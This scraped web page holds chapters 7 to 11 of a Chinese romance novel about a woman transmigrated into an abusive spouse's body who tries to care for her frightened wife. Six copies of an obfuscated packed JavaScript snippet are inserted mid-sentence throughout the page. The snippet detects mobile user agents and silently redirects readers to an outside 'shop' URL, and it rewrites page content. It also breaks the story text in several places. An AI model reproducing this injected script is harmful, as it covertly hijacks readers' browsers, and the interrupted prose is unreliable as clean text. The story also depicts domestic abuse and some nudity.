《我杀猪养你啊》 7. 第 7 章 揉淤青最疼了,女子雪白如玉的肌肤被揉红了好几处。 小姑娘冷汗涔涔,身子发颤,牙齿紧紧咬住红唇,几次想叫停,却在触及另一人认真的神色后又收了话。 好疼,但没有被她打疼,还是不要惹她生气了。 好不容易将对方身上的淤青都揉散了,一抬头,只对上小姑娘红彤彤的眼眶,雾气汇聚在眼底,欲落不落,好似被人狠狠欺负了一般。 宋渝归:…… 这么柔弱? 好吧,大反派的特点就是很擅长柔弱。 总是叫人心软的跟棉花一样。 她一下又忘记了自己要维持的人设,声音和缓下来,摸摸女子柔软黑长的头发,“已经揉完了,没事了,我去后面喂猪,你,你在家休息一下,好吗?” 她语气里似带询问,但只有沈惜枝知道,她这是不想让自己出门,不想让自己接触别的男子。 她既不喜欢她,又对她极有占有欲,若有男子与她说话,叫她知道了都会发怒打她…… 呵,她恍惚间竟以为她有所转变,果然,还是从前那么令人厌恶的样子。 沈惜枝低眉垂目,神色间看不出什么破绽,柔柔怯怯的答应,“知道了,妻君。” 宋渝归点头,起身从院子外面捡了猪草去喂猪。 农村家家户户都有养猪,连原主这么混不吝的人也养了两头。 就是……这猪实在有些瘦,就算卖掉也挣不了多少银钱。 宋渝归见到猪后一颗心稀碎,还想着要不要最近杀一头练练手呢。 还是喂肥一点再杀吧。 也是,家中就沈惜枝一人操办着这些,她力气小,每回割的猪草就那么点,能养多肥? 宋渝归将背篓里的猪草铺到食槽里,见猪吭哧吭哧吃起来,拿起篓子便往外走。 猪草很多地方都有,但每家每户都需要割猪草喂猪,近的都割完了,需得走远一些才能割到。 宋渝归忙活半日,天暗下来了才背着一背篓猪草,怀里也抱了一捆开始往回走。 回到家时,沈惜枝正坐在院子里静静出神。 漂亮清透的眼睛虚虚望着一处,手掌撑着下巴,不知在想什么。 宋渝归没打扰她,自顾自将猪草搬去给猪加餐。 这一动静才惊动了沈惜枝,沈惜枝茫然起身,见妻子回来了,下意识往后退半步,排斥的意思非常明显。 反应过来又连忙低下头遮掩眼底不自觉流露的厌恶。 幸好对方没有在意,只是往猪栏边走。 她拎着裙角,继续安静坐下,望向宋渝归背影。 乡下人少食,大多都生的很瘦,她是,宋渝归亦是。 并不宽阔的肩膀看起来没有半分可靠。 哼。 每日心情都很差的小姑娘一边想,一边挪开视线不再看她。 若宋渝归不和她说话,那她也懒得和宋渝归说话。 两人的晚餐是沈惜枝准备好的,依旧是野菜粥,绿油油的米汤看的人脸都绿了。 宋渝归艰难坐下,暗下决定,等有钱了,她一定要让野菜滚出她的世界! “惜枝,我们家有田地吗?” 这是她早就想问的问题了,有田地还能吃自己种的米呢,好过出去买了,糙米有些拉嗓子,实在不行种点蔬菜也好啊,天天吃野菜野菜的,她又不是野菜成精。 沈惜枝习惯了她问这些奇奇怪怪的问题,就好像真的失忆了一样,也不管她是装模作样给她看的还是如何,问什么就答什么。 “嗯,有几处田地,只是家中没有男子,我一人难以操持,便荒废了。” “哦……” 这也算正常,家里就她们两个人,沈惜枝平时要做饭做家务养猪喂猪,难道还得种田吗? 想想就累的慌。 “那有没有小一点的地,我回头买点菜种一下。” “妻君要种菜?” 她神色讶异。 “嗯,总不能一直吃野菜,你不觉得野菜很难吃吗?” 宋渝归真诚发问。 野菜总带着轻微苦涩的味道,她是吃不来的。 沈惜枝也沉默了,她当然觉得野菜难吃,但又有什么办法。 家里的银钱连米都快买不起了,更别提买别的菜。 “那……妻君有银钱吗?” 她也是在试探,试探宋渝归手里有没有别的钱,他手里是一分也没有了,但若宋渝归有银钱,种点菜自然是好的。 因为她的钱从来不会花在她身上,不会让她占半分便宜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14090317|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋渝归霎时沉默了,脸僵的不行,默默埋头吃饭,意思再明显不过。 沈惜枝眼里闪过些许失望。 但很快,她又听见对方沉闷的声音,“我会去挣钱的。” 这件事她今日已经提了好几遍了,沈惜枝难免会想,难道宋渝归真愿意去踏踏实实的挣银子了? 还是外面哪个女人又和她说了什么,才叫她想多赚点钱的? 平心而论,沈惜枝偏向后一种猜测。 她喜欢外边的很多女子,有时都叫人疑惑,既然一点也不喜欢她,又为何要拿出全副身家来求娶她? 这人的心思,总是让人难以琢磨。 宋渝归并不想再多说什么证明自己的话,几口喝完了粥,怕留下来两个不熟的人四目相对太过尴尬,干脆去村子里走走。 夜晚的乡村最是安宁,她从自家往下走,碰见好几户人家都在院子里吃饭,她不认得旁人,旁人倒是认得她,有几位大叔主动和她打招呼,“渝归丫头,出来玩啊。” 她脸色立马尬住,强颜欢笑,胡乱喊了叔婶,便逃也似的走了。 沈惜枝在家里收拾打扫,待一切收拾齐整,宋渝归才回来。 模样看起来没精打采的,一回来便问,“我在村里除了你还有别的女人吗?” 沈惜枝:? 她长睫轻颤,弱弱的望过去,心绪紧张,“妻君想说什么?” 如果宋渝归是男子,这话简直像是她要娶妾室了一般。 但,宋渝归不是男子,也没有人会嫁与她这样的人当妾室。 “没什么,就是方才路上有个姑娘忽然拦住我,叫我别再跟着她了,就早上啐我一口那个,她是谁?” 沈惜枝:…… 原来是这样。 她垂下眼眸,轻声道,“妻君在村里招惹过许多女子,她们的母亲都曾上门寻过我,依妻主所言,那位大约是村长家的姑娘。” 宋渝归:…… 原主你真该死啊,怎么敢娶了老婆还招惹别人,还让老婆面对她们家人怒火的? 沈惜枝说的轻飘飘,但任哪个有脑子的都能猜出来,她骚扰了人家女儿,身为母亲的过来态度定不会有多和善,而沈惜枝又向来柔弱好欺负,反派惨,怨不得后面如此黑化。 8. 第 8 章 宋渝归简直没脸继续问下去了,只得干巴巴的承诺,“日后再也不会发生这种事了,你尽可放心。” 沈惜枝望了她一眼,默默垂首,不说好也不说不好,声音平静缓和,“妻君,我烧了热水,给您端一些进来吧。” 宋渝归脑子乱糟糟的想着这天崩开局,也没听太清楚,胡乱点了点头一屁股坐在床沿上。 直到她的腿莫名其妙被人捧起,她吓了一跳,下意识一脚把人踹了。 “呜” 女子猛不丁被踹一下,声音隐含痛苦与呜咽,捂着胸口柔弱无助的坐在地上。 终于来了。 装了这些时候,宋渝归终于忍不住要恢复本性了。 湿润的眼睛低垂着,不敢抬起,一副瑟缩怯弱模样。 宋渝归方才条件反射,反应过来后吓了一跳,慌忙从床上跳起来去扶她,“你怎么样了,我踢伤你没有?起来让我看看。” 沈惜枝见她伸手,身子下意识往后躲开了,心中只有冷意与悲凉,只会装模作样,你没有变,一直没有变。 宋渝归被躲开了手,一时没触到她,知道她是被吓着了,心中愈发愧疚。 我真不是人啊,原主欺负她,我竟然也欺负她,我真该死。 “你忽然动我腿,我一下没反应过来,实在抱歉。” 她低头看着她,语气认真。 沈惜枝跪坐在地上,也低着头,看不出神色如何。 只好一会儿才哑声道,“我没事,劳妻君费心了。” 宋渝归能看出她的排斥与抗拒,比初到时还重了,身子微微僵硬,机械般一点点站起来,“哦……没事啊。” “妻君坐吧。” 她神色柔顺低微,似乎真不在意那一脚,还要继续刚刚没做完的事。 宋渝归却有点不敢把自己的腿交到她手上了,“你刚才是想做什么?” 地上的木盆正冒着热气,她不得不得出一个有点吓人的猜测。 下一秒,对方印证了她的猜测,让她心如死灰。 “我想替妻君洗脚,但不知是哪处没做好,惹了妻君生气。” 她声音淡淡的,看起来一点儿也不在意,眼眶却发着红。 分明十分委屈呢。 宋渝归愧疚加一。 “抱歉,你没有哪里做的不好,是我,是我不习惯别人碰我脚,不用你帮我洗了,我自己洗洗就行,你,你也去洗一洗吧。” 方才的气氛实在太过冷凝,她忍不住打破,同时心里暗骂,原主你是什么巨婴吗,脚都要别人洗,有病吧!真是没有公主命得了公主病。 沈惜枝这回没有坚持,听见她说不要,点点头就起身走了。 宋渝归可算松了口气,快速的给自己洗了脚,翻出今日刚用过的红花油,打算一会儿替沈惜枝抹一抹。 沈惜枝本以为从那一脚开始,她又要挨打了,可宋渝归不知为何,又没有打她。 反而继续装起好人来了。 如果一开始她嫁与的就是这样的人,日久天长,难免不会心动,可偏偏她一开始不是这样的,现在忽然变成这样,明显是要骗她什么,她便只觉作呕。 世上怎有如此恶心之人。 . 沈惜枝擦完身子回去,宋渝归便在她之后装了热水擦洗,一回去见她又弯腰铺上了稻草,面容一僵。 “你,你要睡地上吗?” 沈惜枝垂眸,声音又软又惹人怜惜,“我方才许惹了妻君生气,不敢再靠近妻君。” 这有什么的,原主也太小气了,惹生气了就不给睡床? 神经病一个。 她自觉自己动手在先,眼里愧疚更甚,“这不是你的错,是我踹伤了你,应该是我错才对,你别铺了,地上那么冷,睡久了身子该承受不住了,先坐床上吧,我帮你上药。” 女子缓声道。 沈惜枝有点不情不愿,生怕她说的上药也是捉弄她,但除了听她的话,她好像也反抗不了她。 半晌,还是低眉垂目坐下了。 只姿态有些可怜,仿佛即将接受什么暴行一般。 宋渝归:…… “你把衣裳脱了,我看看伤的严重吗,若严重怕是得去镇上请大夫看看了。” 她话语里难掩关切,沈惜枝也不当回事。 说什么请大夫,她们又没有银钱,哄人的话谁不会说啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14090318|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>甚至嘴角控制不住露出一抹讽笑,又很快收回去,重新不安起来。 单薄的衣衫除尽,只余高挺雪白与胸口淡淡的淤青,隐约能看出个脚印来。 宋渝归心里唾弃自己,她本来置身事外,旁人都对不起大反派,可她没有对不起啊,只要把大反派身子养好再多给她一些银钱和离,她们就互相不欠什么了,可现在,她竟也成了欺负大反派的一员。 她身上的伤是原主打的,现在又多了一道她打的。 可千万莫要记恨她。 宋渝归伸出手指,小心的在那道淤青上摸了一下。 女子便闷哼出声。 搞得人手忙脚乱,“怎么了怎么了,弄疼你了?” 沈惜枝虽然习惯疼痛,可她本性怕疼极了,被踢的那一脚疼,现在稍微碰一下也是钻心的疼。 红润唇瓣轻抿,没有说话。 “我给你揉一下淤青吧。” 又要揉淤青? 女子小脸唰一下就白了,漂亮的眸子里含着浅浅薄泪。 小心去拽她袖子,神情漂亮又委屈,“一定要揉吗?” 宋渝归没说话,心里天人交战。 又听她吸了吸鼻子,“不揉好不好,不碰到就不疼的。” 慢慢自己会好,何必要那样大力的去揉它,多疼啊。 “啊,可是不揉开好的慢。” 她有一点心软,但仍在犹豫。 沈惜枝实在不想那只比寻常女子大力很多的手落在自己胸口上使劲儿揉了,连忙保证道,“不会的,伤在胸口,不会随意碰到的,我不要揉,好疼啊。” 趁着宋渝归装模作样,她或许也能软下声调,假装信了她,借此讨一段安生日子过。 只要她心里记得她是什么样的,最后变回去也不会太过失望。 沈惜枝心想,声音愈发绵软下去,像一只可怜的小猫崽子,就差抱着她的手臂晃悠了。 宋渝归简直被这突如其来的撒娇弄傻了,瞪了好一会儿眼睛,才不得不答应,“好,好了,不揉就不揉,睡觉吧,今晚小心些,别碰到它。” 沈惜枝微不可查勾了勾唇角,抬起头的面容柔媚又单纯,“嗯……” 9. 第 9 章 “你不脱衣服吗?” 两人正准备休息,见沈惜枝穿着雪色里衣,想起她昨日对她下的定义,爱裸睡。 宋渝归随口便问。 沈惜枝身子微微僵硬,跪坐在床沿边,浓密眼睫颤动,声音极轻细,“嗯,我进去再脱。” 宋渝归喜欢我脱衣裳…… 沈惜枝心里也有这样的认知。 并告诉自己,只是脱衣裳而已,没什么大不了的,起码不疼,她们本就是妻妻,看一看身子是很正常的事。 “哦。” 宋渝归老实给人让了位置,她从她面前一点点爬进去,坐在床里侧开始缓缓脱衣服。 素白的手捏住衣裳,先是里裤,再是里衣,最后只剩下水洗过多次,明显陈旧却仍鲜艳的红肚兜。 沈惜枝一只手摁在肚兜上,脸颊粉若春桃,犹豫着要不要解开。 宋渝归不知她心中犹豫,早已脱的只剩贴身衣物,躺下静静看着她。 被子又小又单薄,根本不得劲儿,她等着人躺下跟她相拥取暖呢。 沈惜枝见她一直看着自己脱,便自觉明白她的意思了。 先是深深闭眸,然后咬了咬唇,终于一狠心,解开了肚兜上的红结。 红色从雪白滑腻的身子上滑落,掉在女子腿间,遮掩些许黑与艳色,宋渝归即便看过了,再来一次还是会看直了眼。 好挺,好翘,好红。 为了避免自己流出丢人的鼻血,她默默低头,仓促说一句,“你快躺下吧,我都困了。” 听她如此急切,沈惜枝眸里含了星点水光,怯怯点头,倒也没有拒绝。 她不想招来对方更多不满,便一点一点蜷着身子躺下了。 宋渝归顺着挪过去,将人一把揽进怀里,胸口相贴,修长手指抱住女子细细的腰肢,“睡觉!” 她下达指令一般说完,便当真闭上了眼。 却留下沈惜枝惊的眼眸微微睁大,什么都不做吗? 今晚也不做吗? 就这样……睡觉? 小姑娘惊疑不定,唯恐对方是骗自己的,小心翼翼想在她脸上找出装模作样的样子。 但没有,一丁点儿也没有,她甚至……已经睡着了,呼吸均匀,手臂松松挂在她腰上。 宋渝归才穿越没多久,这具身体平时好吃懒做,强度根本不行,她只是去割了点猪草就感觉整个人疲惫不堪,刚躺下没多久便睡了。 但饶是身体很累,第二日她还是强撑着疲惫,一大早爬出并不暖和的被窝,将沈惜枝一人留在里面,准备去镇上找一份工干。 她以前做的工作在古代也不好发展,发展起来很需要资金时间,现在她跟原主的老婆都要饿死了,显然干不了那些。 找了半天,只能找个店小二的活先干一干。 本来想找算盘师傅的,但是她发现,她居然不会写古代的字…… 真是少壮不努力,老大徒伤悲,若有幸能回去,她一定要把书读烂! 正端盘子的宋渝归如是想。 这家酒楼在临安县的小镇上算是老名号的酒楼了。 每日人来人往,客流量不少,因此在两个店小二都不干了后,掌柜的便急着补上新的小二,以免影响给客人上菜。 宋渝归也没怎么和其他人竞争就入选,一月工钱是三百文,应该不算少,按照昨日买米的价格,起码不会饿死了。 当店小二可比割猪草更累一些,她在店里忙的团团转,好不容易结束半日的忙碌,天已经黑了,掌柜的人不错,是个微胖慈祥的女子。 “今日辛苦你了,我明日一定招个帮手来帮你。” 酒楼里两个店小二都跳去别的酒楼了,差点叫她方寸大乱,紧赶慢赶也只招来宋渝归这一个。 宋渝归摇摇头,面色尴尬,“是我要多谢姐姐才是,若不是姐姐让我来酒楼做事,我怕是就要饿死了。” “净胡说,年轻人有手有脚的,怎会饿死?” 宋渝归尴尬挠头,不好意思将自己那点破事说出来。 掌柜的名唤兰香,见她如此,便知是真有难处,抬起握着扇柄的纤细手指挥了挥手中羽扇,“我那后厨还剩了些肉,昨儿的,没有坏,只是留到明日便不能给客人吃了,你要不带回去对付一顿?” 肉? 宋渝归眼睛一亮。 “那自然是好的,多谢掌柜!” “谢什么,我如你一般年纪的时候,也这样辛苦,看见你就像看见从前的自己一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14090319|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>兰香垂眸,似在回忆什么。 宋渝归眨了眨眼睛,直觉少说少错,安静如鸡的站在一边,直到兰香挥挥扇子,温柔的笑起来,“好了,你快去厨房拿吧,我叫人都收拾好了,也不止你有,大家都有的。” 食悦楼是临安县的大酒楼,食材用料也十分考究,不新鲜的食物是不会用的,多由伙房的厨子跟小二分一分带走了。 宋渝归又道了一声谢,愉快的拿着庖厨里用油纸包好的肉回去。 她来到这里后,还没有吃过肉呢! 一直吃野菜,她人都快成野菜了。 今日中午她来做工时午饭点已经过了,只能随便吃了些,听说平时酒楼给员工准备的饭都是有肉的,明日再尝尝,今天先试试大反派的手艺。 天色微暗,她从小镇徒步走回去,路过一片菜摊,很想买几颗菜回去炒肉,但是……她没钱。 天杀的。 什么时候才能过上手有余钱的日子。 我真想创死你们所有人。 宋渝归悲伤难耐,那被她用眼睛看了几眼的菜摊主人顿时坐不住了,咬着唇愤怒站起来,“宋渝归!本姑娘不是警告过你了吗,别再跟踪本姑娘了!” 宋渝归一惊,下意识反口问,“不是,你谁啊。” 对方恼怒,“你别以为欲擒故纵就能吸引我的注意,都跟你说了多少遍了,我不喜欢女人,也不喜欢混混!” 宋渝归终于认出来了,这就是上上次啐了她一口,上次莫名其妙出现,说了一堆话又跑掉的,惜枝口中村长的女儿。 原主大概确实纠缠人家了,虽然事不是她干的,但人家也不知道啊,真该死,她又要背一口黑锅。 不想与人过多争论,争也争不出一个结果,宋渝归只得低头。 “抱歉,刚刚没注意,下次我不会再过来了。” 这么多菜摊,她多看看别人的也行啊,不一定非得买这一家。 “哼,这句话你已经说过几百遍了!” 宋渝归:…… 给条活路吧原主,你别把我逼死了。 她没什么好反驳的,只能沉默的拎着肉离开。 宋家村的小土坡上,沈惜枝同邻居端着一盆衣物,与宋渝归在家门口相遇。 10. 第 10 章 那邻居看见宋渝归就有些生气的吊起眉毛,活像对方怎么对不起她了一样。 宋渝归咬牙,依她现在对原主的了解,她感觉原主会对不起所有人。 就算是……大妈也一样。 但是这又和她有什么关系,她又没有对不起谁!!! 宋渝归鼓了鼓腮帮子,没理大妈,只对原主的妻子缓声开口,“我刚从镇上回来,就先进去了。” 沈惜枝一早醒来便是一人睡在床榻上,已一日未见她了,还以为她又出门做什么坏事,指不定要一身酒气才肯回来,却不想再见,对方脸色仍如这几日般温和,心中顿时松一口气,乖乖点头,“嗯。” 不是去鬼混才好,她已怕了那些找上门讨公道的妇人…… 一介弱女子,既无娘家,嫁与的女子也不向着她,谁会心疼怜惜呢? 待宋渝归走了,那邻居李大娘才杵了杵沈惜枝,“今日真是稀奇事,她回来竟没有骂你?” “嗯。” 沈惜枝垂眸,低低答应。 “她若能一直这样,你日子也不会太难过,我听说她已经很久没在村子里骚扰女子了。” 许久?也不过两日罢了,落在旁人眼里,便是她许久不曾闹事了,可见往日她闹事有多频繁。 沈惜枝想到里面的人,只觉疲惫,面上也不由带了些出来,引得李大娘又一阵心疼,“日子总会好过的,我看她也长大了很多,不会再像以前一样了。” 沈惜枝是隔壁沈家村的姑娘,生的窈窕漂亮,当初求娶的人可多了,偏偏宋渝归拿出全副身家,竟比其他人要多上一大截儿,就这么把年仅十六的小姑娘娶回家了。 娶便娶吧,也不知好好待她,总是动辄打骂,毫无疼惜,让他们这些邻居都很替这小姑娘心疼了。 多乖啊,晚上挨了折腾白日还会好好操持家务。 哎。 沈惜枝面上泛着无奈苦笑,生活已经如此了,她没过过一天好日子,早习惯了老天爷并不善待她。 “天不早了,我得回去给我家那个做饭去了,你也抓紧一点,慢了她可又要挑刺了,你这盆衣服,我帮你带去就行。” 沈惜枝点点头,声音又轻又细,透着一股乖巧,“多谢大娘。” “哎,都是邻居,互帮互助应该的,说什么谢呢。” 大娘抱着两盆衣服快步离开,若再不走快点,天真要黑的看不清路了。 沈惜枝揉了揉自己酸疼的手臂,走进屋里准备取米做饭,被宋渝归叫住,“哎,你刚刚洗的衣裳呢,我去晾吧。” 她看沈惜枝细胳膊细腿儿的,哪忍心什么都交给她做啊。 沈惜枝舀米的动作一顿,轻声道,“那盆衣服是我帮别人洗的,刚刚已经托李大娘帮我送回去了。” 宋渝归:??? “你为什么要帮别人洗衣服?” 她皱着眉,已经开始想是不是因为原主对她太过不重视,导致村里人欺负她,故意让她帮自己干活了。 小说里不是经常有这种情节吗! 宋渝归越想越生气,走过去一把拽住女子纤细到仿佛一折就断的手腕,怒气冲冲,“是不是有人欺负你?!” 沈惜枝讶然,没想到宋渝归会露出这么生气的模样,还仿佛是……担心她被欺负才生气的。 可欺负她最多的人,不正是她吗? 沈惜枝不明白一个人怎么忽然转变的这么快,垂眸望着那只同样雪白的手,正紧紧握在她手腕上。 一句句催促她,“你说啊,谁欺负你了?” 沈惜枝抿了抿红润唇瓣,一点点将自己的手腕挣出来,舀起一小勺米,摇头否认,“没有人欺负我,家里没有银钱了,我想挣一点。” 不然很快她们连糙米都要吃不起了。 宋渝归一愣,所以是……洗衣服挣钱吗? 她视线落在女子红透的纤细手掌上,心像是被什么东西扎了一下,刺刺的疼。 原来那四文钱出自沈惜枝的手,是她一点一点帮人洗衣服挣来的。 宋渝归莫名心疼。 “洗这样一盆衣服,能挣多少钱?” “有的人家给的多,有的人家给的少,这一盆……一文钱。” 一文。 宋渝归窒息了。 但她也不可能因此骂人,最后深呼吸两口,缓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14094152|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓心间情绪,声音极尽淡定,“我在镇上找到活干了,你以后,别再给人洗衣服挣钱了,我能养你。” 沈惜枝眼眸微微睁大,红润也不知不觉跟着张开了一条小缝儿,好像听到多不可思议的话了一般。 忍不住发出质疑,“你,你真的去镇上找活干了?” 宋渝归满脑门黑线,“我不是说了好几次吗,你有必要这么不信我吗?” 虽然知道是原主把信誉度用完了,但心里还是怪不高兴的。 不被人信任的感受让她很不舒服,她从来不是没有信用的人,从来没被谁不信任过。 沈惜枝见她不悦,陡然又害怕起来,“对,对不起。” 小鹿般明亮湿润的眼眸抬起,瑟缩望向她。 太招人疼了。 宋渝归有火也发不出来。 算了算了,她退后半步示意自己不打人,又看向袋子里剩余的一点糙米,开口,“今晚煮饭吧,我好不容易找到活儿干,想吃点好的,今天掌柜的还给我留了一块肉,会做吗?” 宋渝归温柔询问。 沈惜枝陷在她少有的温柔里,显然有些慌张,“会,会做的。” “嗯,那就做个肉,然后煮点饭吃。” 沈惜枝这才发现,她说有肉,她说今晚吃肉,吃米饭。 “人傻了?” 她伸手在对方面前挥了挥。 又叫人受惊般立刻回神了,清澈的眸子询问的看向她。 她伸手指了指堂前,“我放灶台上了。” “好,我,我去看看。” 沈惜枝对她的话总半信半疑,怕她又说假话想看自己惊喜后失落的神情,连忙便往灶台去了。 可那真放着一只褐色的油纸包,里面包着什么东西。 她走过去,小心翼翼打开,露出里面巴掌大小,鲜艳的,半肥半瘦的红肉,眼睛亮了亮,真的是肉,还有肥肉,可以煸一点油。 “妻君,我去邻居家借一颗白菜回来炒。” 说完便急急忙忙出去了,显然对于今天能吃肉,她也是高兴的。 就说呢,小姑娘一个,怎么可能每日都这么稳重。 11. 第 11 章 晚餐是白菜炒肉,用肥肉部分煸了猪油来炒,光闻着便觉得香。 明明才几天,宋渝归却觉得自己好像几个月都没吃过肉了一样,馋的不行。 白菜是向李大娘借的,水灵灵的大白菜混着猪油与一点猪肉,光闻着就叫人食指大开。 饭还没做好呢,宋渝归已经眼巴巴望上了。 沈惜枝挥舞锅铲,连忙道,“马上就好了,妻君坐一会儿吧。” 她却把头摇的跟拨浪鼓似的,“不坐不坐,惜枝,你说,等我发工钱了,我们去买点白菜种子,自己种几颗白菜怎么样?” 白菜长得快,又好吃,比野菜好吃多了! 沈惜枝眼睛一亮,想到她真在镇上找到活干,还愿意把挣到的钱归做家用,终于看向她。 “我可以在院子里僻出一块地方种白菜。” 她们只有两个人,也吃不了多少,院子里刚好有一个地方,从前是专门用来种菜的,只是荒废很久了,如果要种白菜,她可以重新开出来。 宋渝归不大懂种地,全都听沈惜枝的,闻言点点头,“哦,那我到时候买种子,家里其他田地离得远吗?” 当初宋渝归家也是有点家底的,地都离家很近,农忙时不至于跑大老远,沈惜枝是知道地方的。 “嗯,不远。” “那明年种点稻子吧。” “好。” 只要是做正经事,她什么都听妻子的。 五花肉炒白菜很快做好,混着猪油的香味被端出去。 宋渝归拿出最后两只碗,替两人盛了米饭。 沈惜枝这边刚摆好菜,手心就被塞进一只冒着热气的碗,里头雪白的米饭被压的很平整。 她愣住,下意识抬头,“妻君……” 外头是秋风瑟瑟吹动枝叶的声音,屋内是妻子不自觉流露出的温和浅笑,令她失了神。 宋渝归已撩了撩裙子,施施然坐下,拿起筷子准备吃饭,闻言也抬头,“怎么了?” 小姑娘两只手捧着碗,红肿褪去,只余雪白的手背,同米比起来,竟分不清谁更白一点,只见她浓密眼睫一颤,小心翼翼,怯怯的望过来,又抿住红润唇瓣,“我,我吃不了这么多,妻君吃吧。” 妻君今日辛苦的找了活儿,她怕不吃饱没力气才特意多煮了米饭,现在怎么都到自己碗里了? 再看妻君碗里的……与自己的一眼望去竟然差不多。 她,她吃一点就好了,哪用得着吃这么多。 自幼生长在以男子为重的沈家,令她第一反应便是不配。 她不配吃比妻子更多的米。 她被妻子花很多银两娶回家,她应是妻子的附属品才是。 怎能得到与对方差不多的待遇? 这叫她惶恐不安。 对她不好时她心生怨恨,可对她好时,她又忍不住想,为什么。 为什么突然对她好了,为什么不打她了? 宋渝归听完,却将人从头望到脚,只有一个反应,瘦,真瘦啊,瘦成这样还不吃饭,不吃饭能胖起来吗? 吃!都给我吃! 宋渝归轻哼一声,冷脸反驳掉沈惜枝的提议,“叫你吃你就吃,哪有这么多话。” 眼尾往下一瞥,见对方还是犹豫不敢下手,她又故意抬高声音,“怎么还不吃,不听话了?” 不听话三只就像一把锤子,重重砸在人心口,往常伴随这三字评语的,多还有一顿毒打,沈惜枝几乎瞬间便怕了,素白纤长的手指握紧筷子,连忙给自己喂了一口饭,鼓着腮帮子嚼啊嚼,一双湿漉漉的大眼睛眨巴眨巴望向她。 星星也没有她的眼睛亮。 宋渝归心软,但没有表现出来,这一家只有她和沈惜枝两个女子,她希望在婚姻续存期间,她能是沈惜枝的依靠。 依靠就不能表现的太软和了,不然看起来就不可靠。 因此只是微微颔首,“吃吧,日后都要吃这么多才行。” “哦。” 能不饿肚子,谁想饿着呀。 沈惜枝乖乖答应,像只小松鼠般埋头吃饭,两颊持续鼓鼓囊囊的。 宋渝归见她只吃白米饭,不夹菜,眉头一拧,又觉得这样不行。 “抬头。” 听见她的话,就如同听见了命令一般,刚刚还埋头吭哧吭哧吃饭的小姑娘,瞬间抬头,圆溜溜的大眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14106203|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛又乖巧看着她。 惹人心软。 见她不再一张小脸挡着整只碗,宋渝归夹了一筷子油润润的肉放进她吃出来的小坑里。 沈惜枝一愣,眼神有些茫然,似乎不知道她此举何意。 把宋渝归蠢到了。 这么明显还看不出来? “光吃米饭能有味道吗,吃点菜啊。” 她算是知道了,如果她很认真严肃的要求,沈惜枝就会直接听她的,如果她温温柔柔很好说话的样子,沈惜枝就会犹豫不决,并尝试反驳,不乖。 “哦。” 沈惜枝又应了一声,低头吃混着猪油香,真的有肉的饭菜。 不说在宋家,就算在沈家,她也是很少很少能吃到肉的。 她几乎不知道肉的滋味…… 这样好的东西,一定是要留给弟弟吃的,就像她必须舍弃廉耻舍弃后半生的幸福嫁给女子,只为了换取银钱供弟弟读书。 女子紧紧握着筷子,指节泛白,眼眸渐渐盈上一层薄薄的水雾,原来肉是这个味道,原来肉这么好吃。 她低着头,宋渝归也不知自家小姑娘委屈的几乎落泪,只是觉得空气格外沉默,但也正常,小说中的大反派不爱说话,是个很安静的小姑娘。 “多吃点,看你瘦成什么样了,抱着都不舒服。” 每天晚上她抱着她睡,都觉得有点硌人。 她一边说一边又给人夹了一筷子脆爽的白菜。 沈惜枝手艺很好,用五花肉炒的白菜清脆爽口,又带着油脂香。 宋渝归恨不得每天都吃这道菜! 哼,等家里种了水灵灵的白菜,她一定天天吃! 